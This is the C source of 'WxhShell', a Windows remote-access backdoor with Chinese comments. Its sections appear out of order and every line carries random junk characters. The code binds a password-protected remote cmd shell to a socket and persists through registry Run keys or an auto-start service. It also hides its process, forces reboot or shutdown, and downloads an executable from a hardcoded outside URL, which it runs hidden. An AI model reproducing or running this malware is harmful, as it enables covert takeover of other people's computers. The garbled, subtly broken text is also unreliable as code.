  case 'd': { m3&b)O7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,"YTG*ky  
    if(Boot(SHUTDOWN)) JBLh4c3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C 5e;U  
    else { 7*He 8G[W  
    closesocket(wsh); =j{Kxnv  
    ExitThread(0); 3~Ap1_9  
    } ["<'fq;PJ  
    break; #%V+- b(  
    } )HX(-"c  
  // 获取shell Y.#fpG'  
  case 's': { 10bv%ZX7  
    CmdShell(wsh); SDs#w  
    closesocket(wsh); nU isC5HW  
    ExitThread(0); FJT0lC  
    break; %'S[f  
  } b"B:DDw00  
  // 退出 -MFePpUt  
  case 'x': { e_cK#9+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BKgCuz:y  
    CloseIt(wsh); D6C h6i5$  
    break; BPVOBL@   
    } x+DecO2  
  // 离开 cIrc@  
  case 'q': { k~fH:X~x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }XqC'z  
    closesocket(wsh); dQO 5  
    WSACleanup(); ofPv?_@  
    exit(1); y! QYdf?  
    break; ,R-aO= %  
        } P>03 DkbB  
  } b # Llu$  
  } Lg|d[*;'7  
/w2-Pgm-[\  
  // 提示信息 ,lFp4 C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9\0$YY%  
} T8yMaC  
  } io@f5E+?  
*.Z~f"SZy*  
  return; 6qWWfm/6  
} V7cr%tY5  
mU.c!|Y  
// shell模块句柄 Dv&K3^~Rfb  
int CmdShell(SOCKET sock) p%K(dA  
{ t6lwKK  
STARTUPINFO si; x0)WrDb  
ZeroMemory(&si,sizeof(si)); r\)bN4-g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C;.,+(G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <;Tr   
PROCESS_INFORMATION ProcessInfo; 77ztDQDtM  
char cmdline[]="cmd"; Ds#BfP7a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,J:Ro N_:  
  return 0; q>5j (,6F  
} cS Qb3}a\  
Fh|{ib  
// 自身启动模式 yhs:.h  
int StartFromService(void) OB*V4Yv  
{ {<?8Y  
typedef struct .N`*jT  
{ T)',}=  
  DWORD ExitStatus; Ba** S8{/`  
  DWORD PebBaseAddress; :\y' ?d- Q  
  DWORD AffinityMask; JV_VM{w{K  
  DWORD BasePriority; )V&hS5P=S  
  ULONG UniqueProcessId; Cl{Ar8d}  
  ULONG InheritedFromUniqueProcessId; 2<n@%'OQp  
}   PROCESS_BASIC_INFORMATION; aPQxpK?  
qv'w 7T  
PROCNTQSIP NtQueryInformationProcess; [+!&iN  
E>`|?DE@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j0s$}FPUI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |.L_c"Bc  
dlIYzO<  
  HANDLE             hProcess; 0?dr(   
  PROCESS_BASIC_INFORMATION pbi; ia_l P  
"M3;>"`G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (t@ :dW  
  if(NULL == hInst ) return 0; S5d  
\f)GW$`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1l Cr?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ok fxX&n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ./L)BLC i  
\PcnD$L  
  if (!NtQueryInformationProcess) return 0; dC|6z/  
U3Z-1G~*r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kg\8 (@h]  
  if(!hProcess) return 0; <Y2$'ETD  
4u"Bll  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D2=zrU3Y64  
0G0(g,3p  
  CloseHandle(hProcess); Hmnxm gx  
OHrzN ']  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AWKJ@&pA9m  
if(hProcess==NULL) return 0; > >KCd  
Ps{vN ~}  
HMODULE hMod; a6 1!j>Kx  
char procName[255]; O;|Cu7WU  
unsigned long cbNeeded; kX8NRPW  
iq[IZdza  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xc\zRsY`  
d325Cw?  
  CloseHandle(hProcess); vm'ZA7f6  
CPMGsW^  
if(strstr(procName,"services")) return 1; // 以服务启动 =O-irGms*  
(z?j{J  
  return 0; // 注册表启动 -'SA &[7dP  
} #qpP37G  
To5hVL<Ex"  
// 主模块 Z*Gf`d:  
int StartWxhshell(LPSTR lpCmdLine) z?( b|v  
{ x0:BxRx*  
  SOCKET wsl; ra>2<  
BOOL val=TRUE; -e sQyLx  
  int port=0; -6~.;M 5  
  struct sockaddr_in door; P;mp)1C  
Bv' %$}}-  
  if(wscfg.ws_autoins) Install(); j<k6z   
#<ST.f@*  
port=atoi(lpCmdLine); C/'w  
44|tCB`  
if(port<=0) port=wscfg.ws_port;  >]~|Nf/i  
&I[` .:NJ  
  WSADATA data; $/B~bJC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l;L_A@B<  
Pg{1'-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /zoy,t-i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ??U/Qi180  
  door.sin_family = AF_INET; \"Y,1in#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RjVmHhX  
  door.sin_port = htons(port); |_>^vW1f  
q=V'pML  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x!\q69ndv  
closesocket(wsl); S2_(lS+R  
return 1; L+(ng  
} zsJermF,O  
Y[dq"  
  if(listen(wsl,2) == INVALID_SOCKET) { %dv?n#Uf  
closesocket(wsl); M +r!63T  
return 1; R&J?X Q  
} }v4dOGc?  
  Wxhshell(wsl); 7B (%2  
  WSACleanup(); x +pf@?w  
2\QsF,@`YU  
return 0; 9 fYNSr  
3RT\G0?8f  
} *8/Xh)B;  
lg~7[=%k#  
// 以NT服务方式启动 $|.8@ nj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^B% =P  
{ l-l7jq]R  
DWORD   status = 0; V 3cKbk7~  
  DWORD   specificError = 0xfffffff; nS*Y+Q^9a  
\ "$$c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )<:TpMdUk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .\glNH1d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T9H*]LxK  
  serviceStatus.dwWin32ExitCode     = 0; 6CIzT.  
  serviceStatus.dwServiceSpecificExitCode = 0; -p.\fvip  
  serviceStatus.dwCheckPoint       = 0; ZcQu9XDIt  
  serviceStatus.dwWaitHint       = 0; va'F '|  
V L$ T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NX.xE W@  
  if (hServiceStatusHandle==0) return; OmO#} k<  
R]iV;j|  
status = GetLastError(); ,1$F #Eh  
  if (status!=NO_ERROR) `+"(GaZ  
{ y{>f^S<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *^~ =/:  
    serviceStatus.dwCheckPoint       = 0; O6R)>Y4  
    serviceStatus.dwWaitHint       = 0; ElV!C}g  
    serviceStatus.dwWin32ExitCode     = status; 5;UIz@BJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; -6HwG fU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }: HG)V  
    return; I}3F'}JV<  
  } g}xL7bTlI>  
 pUb1#=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^hmV?a:Y  
  serviceStatus.dwCheckPoint       = 0; U`mX f#D  
  serviceStatus.dwWaitHint       = 0; bIAE?D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P<<+;']  
} '#V@a  
_>R aw  
// 处理NT服务事件,比如:启动、停止 YcN|L&R.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E,}{iqAb  
{ 7|DG1p9C  
switch(fdwControl) . : Wf>:  
{ {_-kwg{"(  
case SERVICE_CONTROL_STOP: uK2HtRY1  
  serviceStatus.dwWin32ExitCode = 0; !i^"3!.l,]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d?2ORr|m=  
  serviceStatus.dwCheckPoint   = 0; Cp6S2v I  
  serviceStatus.dwWaitHint     = 0; 'Oue 1[  
  { 3I_^F&T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gHrs|6q9  
  } v$|~ g'6  
  return; 3SP";3+  
case SERVICE_CONTROL_PAUSE:  D}98ZKi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 30! DraW8  
  break; IMH4GVr"  
case SERVICE_CONTROL_CONTINUE: &>,;ye>A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K8;SE !  
  break; ,,gMUpL7_8  
case SERVICE_CONTROL_INTERROGATE: ,PTM'O@aU#  
  break; * 9^8NY]  
}; ahg:mlaob  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6]?mjG6  
} 3' i6<  
E1eGZ&&Gd  
// 标准应用程序主函数 +[!S[KE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EfrQ~`\  
{ lFjz*g2'  
dFy$w=  
// 获取操作系统版本 s5nw<V9$]  
OsIsNt=GetOsVer(); -3{Q`@F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lFnls6dp  
b&:v6#i  
  // 从命令行安装 hv|a8=U!R  
  if(strpbrk(lpCmdLine,"iI")) Install(); = :gKh  
QnWE;zN[7A  
  // 下载执行文件 S4x9k{Xn  
if(wscfg.ws_downexe) { Q)DEcx-|,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }qn>#ETi  
  WinExec(wscfg.ws_filenam,SW_HIDE); .N X9A b  
} G% tlV&In  
$[>{s9E  
if(!OsIsNt) { &<V U}c^!  
// 如果时win9x,隐藏进程并且设置为注册表启动 gjDNl/r/  
HideProc(); MA`nFkVK  
StartWxhshell(lpCmdLine); k83K2> ]  
} HAxLYun(3w  
else j=l2\W#}  
  if(StartFromService()) |nefg0`rk  
  // 以服务方式启动 (,U|H`  
  StartServiceCtrlDispatcher(DispatchTable); 0)oh ab  
else 3^7+fxYWo  
  // 普通方式启动 oMQ4q{&|  
  StartWxhshell(lpCmdLine); z1J)./BO  
>1j#XA8  
return 0; \,Y .5?  
} ^wIB;!W  
MzIDeZ  
6e-ME3!<l  
41X`.  
=========================================== qVC+q8  
E>bkEm  
5whW>T  
pU7;!u:c4%  
v`A)GnNiN  
|OH*c3~r  
" r mX*s} B  
,a #>e  
#include <stdio.h> }dkXRce*  
#include <string.h> Y) sB]!hx  
#include <windows.h> )p\`H;7*V4  
#include <winsock2.h> OcT Wq  
#include <winsvc.h> YEu+kBlcQ  
#include <urlmon.h> os/h~,=  
fsL9d}  
#pragma comment (lib, "Ws2_32.lib") QLY;@-jF$  
#pragma comment (lib, "urlmon.lib") Msqqjhoy  
9\Jc7[b  
#define MAX_USER   100 // 最大客户端连接数 ]-\68bN  
#define BUF_SOCK   200 // sock buffer 4z<c8 E8  
#define KEY_BUFF   255 // 输入 buffer xMjhC;i{  
m!FuC=e  
#define REBOOT     0   // 重启 RE>Q5#|c  
#define SHUTDOWN   1   // 关机 KU|W85ye  
b Hr^_ogN  
#define DEF_PORT   5000 // 监听端口 IuXgxR%  
c]4X`3]  
#define REG_LEN     16   // 注册表键长度 #X-C~*|>j  
#define SVC_LEN     80   // NT服务名长度 dc)%5fV\  
7{ m>W!  
// 从dll定义API 3``JrkPI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :uCwWv   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EO!,rB7I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t2d sYU/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sX1DbEjj[o  
9JA@m  
// wxhshell配置信息 1-y8Hy_a2  
struct WSCFG { 6>]_H(z7  
  int ws_port;         // 监听端口 V4,Gt ]4  
  char ws_passstr[REG_LEN]; // 口令 6Z_V,LD9L  
  int ws_autoins;       // 安装标记, 1=yes 0=no a|t~&\@  
  char ws_regname[REG_LEN]; // 注册表键名  /a1uG]Mt  
  char ws_svcname[REG_LEN]; // 服务名 w%])  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (<Cq_K w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NXOXN]=c<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %~Yo{4mHs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Nn(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v9f+ {Y%-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jEBn"]\D  
dmF=8nff  
}; q;e b  
#/YS  
// default Wxhshell configuration kLgkUck8]  
struct WSCFG wscfg={DEF_PORT, apL$`{>US  
    "xuhuanlingzhe", aO1^>hy  
    1, lh;fqn`  
    "Wxhshell", 8jz>^.-o  
    "Wxhshell", wpZ"B+oK!  
            "WxhShell Service", 1M`E.Ztw*  
    "Wrsky Windows CmdShell Service", Ch"wp/[  
    "Please Input Your Password: ", Ow;thNN  
  1, S^%3Vf}  
  "http://www.wrsky.com/wxhshell.exe", 8eB,$;i  
  "Wxhshell.exe" kkl'D!z2g  
    }; JBpV'_"]  
mF 1f(  
// 消息定义模块 {!2K-7;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rUKg<]&@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Biv)s@"f-Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q1rj!7  
char *msg_ws_ext="\n\rExit."; T1Py6Q,-  
char *msg_ws_end="\n\rQuit."; {"]!zL  
char *msg_ws_boot="\n\rReboot..."; 38w^=" -T  
char *msg_ws_poff="\n\rShutdown..."; lj<Sa  
char *msg_ws_down="\n\rSave to "; p-s\D_  
xa)p ,  
char *msg_ws_err="\n\rErr!"; B#g~c<4<  
char *msg_ws_ok="\n\rOK!"; 0qN`-0Yk  
_mm(W=KiL  
char ExeFile[MAX_PATH]; yY8zTWji_  
int nUser = 0; Qz@_"wm[  
HANDLE handles[MAX_USER]; #zsaQg, B  
int OsIsNt; nD5wN~[J  
@rGY9%E  
SERVICE_STATUS       serviceStatus; %IO*(5f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4Fp[94 b  
DdR0u0JH0  
// 函数声明 e|k]te  
int Install(void); QT c{7&  
int Uninstall(void); Wc@ ,#v  
int DownloadFile(char *sURL, SOCKET wsh); h7Uj "qH  
int Boot(int flag); f#ZM 2!^!  
void HideProc(void); T<*)Cdid  
int GetOsVer(void); 94B%_  
int Wxhshell(SOCKET wsl); i:YX_+n  
void TalkWithClient(void *cs); 5t%8y!s  
int CmdShell(SOCKET sock); Fip 5vrD  
int StartFromService(void); ^SpQtW118  
int StartWxhshell(LPSTR lpCmdLine); 1]/;qNEv  
Ey7zb#/<!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O>DS%6/G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y]Nk^ga:U6  
=q VT  
// 数据结构和表定义 =2$ ( tXL  
SERVICE_TABLE_ENTRY DispatchTable[] = C_J@:HlJ  
{ |Ahf 01  
{wscfg.ws_svcname, NTServiceMain}, kN/YnY*J<  
{NULL, NULL} ,=+t2Bn  
}; uB)q1QQsqp  
`t/j6 e]  
// 自我安装 _*H Hdd5I  
int Install(void) CR$wzjP j  
{ (?l ]}p^[  
  char svExeFile[MAX_PATH]; ec ;  
  HKEY key; zTc;-,  
  strcpy(svExeFile,ExeFile); l>;hQh  
4$iS@o|  
// 如果是win9x系统,修改注册表设为自启动 O+W<l:|$  
if(!OsIsNt) { cvsH-uAp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -*7i:mg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VJ\qp%  
  RegCloseKey(key); Fv]6 a n.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uzH MQp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); az ZtuDfv  
  RegCloseKey(key); O84:ejro  
  return 0; 'xta/@Sq  
    } aV$kxzEc  
  } mo^E8t.  
} ,ciX *F"  
else { ?t%{2a<X  
s~{rC{9X  
// 如果是NT以上系统,安装为系统服务 <eXGtD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bse`Xfg  
if (schSCManager!=0) j4;^5 Dy^  
{ "73*0'm  
  SC_HANDLE schService = CreateService jSpj6:@B  
  ( l,J>[Q`<  
  schSCManager, :fj>JF\[  
  wscfg.ws_svcname, vD8pVR+  
  wscfg.ws_svcdisp, %%K3J<5  
  SERVICE_ALL_ACCESS, }Nr6oUn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P%:?"t+J`;  
  SERVICE_AUTO_START, t{c:<nN  
  SERVICE_ERROR_NORMAL, *+*W# de.  
  svExeFile, ND1hZ3(^  
  NULL, z-MQGq xR  
  NULL, r[(;J0=  
  NULL, Gy \ ]j  
  NULL, (l%?YME  
  NULL 68j1s vz9  
  ); ,< g%}P/  
  if (schService!=0) :m `D   
  { 2OUx@Vj  
  CloseServiceHandle(schService); Y$>NsgQn6  
  CloseServiceHandle(schSCManager); <-.@,HQ+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sl-wNIQ  
  strcat(svExeFile,wscfg.ws_svcname); ]r#b:W\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $,K@xq5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rG?5z"  
  RegCloseKey(key); q;#AlquY@  
  return 0; I8! .n  
    } GZi`jp  
  } gM&O dT+i  
  CloseServiceHandle(schSCManager); @2T8H  
} }vh <x6  
} _FOIMjh%N  
H<|}p Z  
return 1; (-$5YKm  
} bVz<8b6h'-  
+c/!R|h=S  
// 自我卸载 693"Pg8b  
int Uninstall(void) G2N0'R "  
{ 8 SU0q9X.  
  HKEY key; 0uD3a-J  
'Y @yW3K  
if(!OsIsNt) { S(CkA\[rz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m!KEK\5M?  
  RegDeleteValue(key,wscfg.ws_regname); NxF:s,a6  
  RegCloseKey(key); W!$U{=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Ogh-<|<  
  RegDeleteValue(key,wscfg.ws_regname); 1qR$ Yr\  
  RegCloseKey(key); k6"(\d9o  
  return 0; Pm6U:RL  
  } R +@|#!  
} G>"n6v'^d  
} Pl=)eq YY  
else { 1Du5Z9AM  
`^#4okg]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E{[Y8U1n  
if (schSCManager!=0) &Z>??|f  
{ \)5mO 8w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aAe`o2Xs  
  if (schService!=0) <.Zh{"$qo  
  { OK v2..8  
  if(DeleteService(schService)!=0) { w2xD1oK~o  
  CloseServiceHandle(schService); 5wW5 n5YS  
  CloseServiceHandle(schSCManager); +%j27~ R>D  
  return 0; Ej)7[  
  } L{VnsY V  
  CloseServiceHandle(schService); 4L:O0Ggz}  
  } c$,1j%[)  
  CloseServiceHandle(schSCManager); p@O Ip  
}  omg#[  
} 4 .c1  
QOK,-  
return 1; >yKz8SV#  
} E[#VWM I  
]&H"EHC<$  
// 从指定url下载文件 ;%d<Uk?  
int DownloadFile(char *sURL, SOCKET wsh) I'BHNZO5tf  
{ TrzAgNt  
  HRESULT hr; Io*H}$Gf  
char seps[]= "/"; m#_Rv  
char *token; qCI7)L`  
char *file; \]4EAKJE  
char myURL[MAX_PATH]; qpFxl  
char myFILE[MAX_PATH]; =8#.=J[/  
,mx\ -lWFy  
strcpy(myURL,sURL); |pS]zD  
  token=strtok(myURL,seps); aV7VbC  
  while(token!=NULL) 9[JUJ,#X'0  
  { ;=$;h6W0  
    file=token; kJl^,q  
  token=strtok(NULL,seps); ]VQd *~ -  
  } iS)-25M'  
r'yNc&~  
GetCurrentDirectory(MAX_PATH,myFILE); UUDHknm"  
strcat(myFILE, "\\"); kh# QT_y  
strcat(myFILE, file); iJE:>qOTD5  
  send(wsh,myFILE,strlen(myFILE),0); V-7l+C5  
send(wsh,"...",3,0); uvJHkAi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tz2=l.1  
  if(hr==S_OK) 7omHorU+  
return 0; LI@BB:)[  
else #8M?y*<I  
return 1; l!XCYg@67  
L3HC-  
} y+k^CT/u  
P<Bx1H-z-  
// 系统电源模块 O >+=cg  
int Boot(int flag) UFT JobU  
{ p~3 x=X4  
  HANDLE hToken; *<S>PbqLw  
  TOKEN_PRIVILEGES tkp; , @UOj=  
+kd1q  
  if(OsIsNt) { smfI+Z S"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nc(CGl:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mST8+R@S  
    tkp.PrivilegeCount = 1; Lhp&RGy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [u!n=ev  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cp/f18zO  
if(flag==REBOOT) { 2? yo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z@dVK`nD  
  return 0; \8$~ i  
} ;PC!  
else { "P#1=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XX /s@C  
  return 0; 17?YN<  
} :,JjN&  
  } B VeMV4  
  else { `dcz9 *  
if(flag==REBOOT) { _b%)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W;=Ae~  
  return 0; /;(ji?wN  
} nl 'MWP  
else { v.<mrI#?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hT1JEu  
  return 0; 'I/_vqp@  
} MZ$uWm`/  
} 5C1EdQ4S0  
Wgh@XB  
return 1; WtZI1`\qe  
} 1N(1h D  
5z 0VMt  
// win9x进程隐藏模块 G`n $A/9Q  
void HideProc(void) -O\i^?lD;  
{ 8 5ET$YV  
Rs5lL-I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \X&8EW  
  if ( hKernel != NULL ) Z[IM\# "  
  { LWJ ?p-X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y&yfm/Ru  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f0SrPc v  
    FreeLibrary(hKernel); bD,X.  
  } Jf?6y~X>Y  
g=4^u*  
return; Gu~*ZKyJ  
} sq`Xz 8u  
~5&4s  
// 获取操作系统版本 1b1Ab zN  
int GetOsVer(void) Q >/,QX  
{ V>T?'GbS  
  OSVERSIONINFO winfo; gm)Uyr$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <$e|'}>A  
  GetVersionEx(&winfo); q 7%p3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \fTQNF  
  return 1; !\4B.  
  else #}y8hzS$  
  return 0; ?Q-Tyf$3  
} la+Cra&xL  
mF\!~ag|  
// 客户端句柄模块 a)ry}E =f  
int Wxhshell(SOCKET wsl) A811VL^  
{ ErNYiYLi]  
  SOCKET wsh; Oq.ss!/z  
  struct sockaddr_in client; gEj#>=s  
  DWORD myID; ~i;{+j6Ho!  
t([}a ~1}  
  while(nUser<MAX_USER) e9[72V  
{ B%;MGb o  
  int nSize=sizeof(client); c$V5E t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [y@*vQw  
  if(wsh==INVALID_SOCKET) return 1; =|P &G~]  
[o#% Eg;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i$E [@  
if(handles[nUser]==0) T3P9  
  closesocket(wsh);  viAAb  
else yV8J-YdsG  
  nUser++; vO1; ;  
  } 6`CRT TJ7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FoK2h!_  
_F%`7j  
  return 0; 4c< s"2F  
} j-ej7  
C*(  
// 关闭 socket GVXdyi  
void CloseIt(SOCKET wsh) AChz}N$C  
{ |2q3spd  
closesocket(wsh); A0)^I:&  
nUser--; f zo'9  
ExitThread(0); d>hv-n D  
} (*$bTI/~  
jCJcVO>OZ  
// 客户端请求句柄 r+FEgSDa]  
void TalkWithClient(void *cs) Gc|)4c  
{ mtv8Bm=<  
@[3c1B6K  
  SOCKET wsh=(SOCKET)cs; tNT Sy =  
  char pwd[SVC_LEN]; YGyv)\  
  char cmd[KEY_BUFF]; ps 3 )d  
char chr[1]; 3 39q%j$  
int i,j; ?A3L8^tR  
%rptI$^*X  
  while (nUser < MAX_USER) { _f[Q\gK  
0y9 b0G  
if(wscfg.ws_passstr) { p' >i3T(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .ImaM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cFL~< [>_  
  //ZeroMemory(pwd,KEY_BUFF); ZkbE&7Z  
      i=0; !y _{mE?V(  
  while(i<SVC_LEN) { |Ghk8 WA  
Q6Gw!!Z5EA  
  // 设置超时 /IpCo  
  fd_set FdRead; ;>?h/tS6  
  struct timeval TimeOut; Ki;SONSV~|  
  FD_ZERO(&FdRead); 7s(tAbPdB  
  FD_SET(wsh,&FdRead); 92DM1~ *  
  TimeOut.tv_sec=8; ss)x fG  
  TimeOut.tv_usec=0; dDPQDIx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _B^zm-}8|B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~18a&T:  
WBE>0L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C{}_Rb'x  
  pwd=chr[0]; \~5|~|9<  
  if(chr[0]==0xd || chr[0]==0xa) { q7X]kr*qx  
  pwd=0; OH\^j1x9I  
  break; Q7865  
  } xR1G  
  i++; hk~/W}sI  
    } W" 5nS =d%  
)Z/"P\qo  
  // 如果是非法用户,关闭 socket $,4h\>1WP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WkTJ M  
} NHGTV$T`1  
\]9)%3I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q\0/6tl_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )dT@0Ys%  
Vx_33";S\  
while(1) { _M^.4H2  
CZ5\Et6r  
  ZeroMemory(cmd,KEY_BUFF); %T/@/,7h  
K!-OUm5A  
      // 自动支持客户端 telnet标准   X$Vi=fvt  
  j=0; 9|+6@6VY!  
  while(j<KEY_BUFF) { mOE *[S)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3"y 6|e/5  
  cmd[j]=chr[0]; ! xCo{U=  
  if(chr[0]==0xa || chr[0]==0xd) { UD.b b  
  cmd[j]=0; s*izhjjX  
  break; 0* $w(*  
  } ukWn@q*  
  j++; @?3f`l 9  
    } LIZB!S@V\  
3'4+3Xo  
  // 下载文件 @tH9$J*Y<  
  if(strstr(cmd,"http://")) { =hPXLCeC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /'/I^ab  
  if(DownloadFile(cmd,wsh)) Qz~uD'Rs/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); isZ5s\  
  else "D(Lp*3hj&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `R[Hxi  
  } vi,hWz8WB  
  else { YlHP:ZW-cu  
WK>F0xMs1  
